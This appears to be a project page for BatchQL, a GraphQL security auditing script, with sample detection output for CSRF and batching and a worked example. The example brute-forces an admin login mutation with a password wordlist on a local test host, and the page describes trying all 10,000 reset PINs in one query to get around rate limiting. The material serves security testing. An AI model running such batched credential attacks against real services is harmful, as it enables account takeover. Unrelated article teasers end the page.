BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements.
When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks.
GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.
This tool is capable of detecting the following:
Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible… preflight request was successful.
Query JSON list based batching: GraphQL batching is possible… preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
Batching Attacks
acc-login.txt
:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
Run the following command to run a GraphQL batching attack:
❯ python batch.py –query acc-login.txt –wordlist passwords.txt -v ‘{“loginInput”:{“email”:”admin@example.com”,”password”:”#VARIABLE#”,”rememberMe”:false}}’ –size 100 -e http://re.local:5000/graphiql -p localhost:8080
The above command does the following:
--query acc-login.txt
.--wordlist passwords.txt
-v {"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}}
--size 100
-e http://re.local:5000/graphiql
-p localhost:8080
Have you ever come across a picture on the internet and wondered where it came…
Overview WhatsMyName is a free, community-driven OSINT tool designed to identify where a username exists…
Managing disk usage is a crucial task for Linux users and administrators alike. Understanding which…
Efficient disk space management is vital in Linux, especially for system administrators who manage servers…
Knowing how to check directory sizes in Linux is essential for managing disk space and…
Managing user accounts is a core responsibility for any Linux administrator. Whether you’re securing a…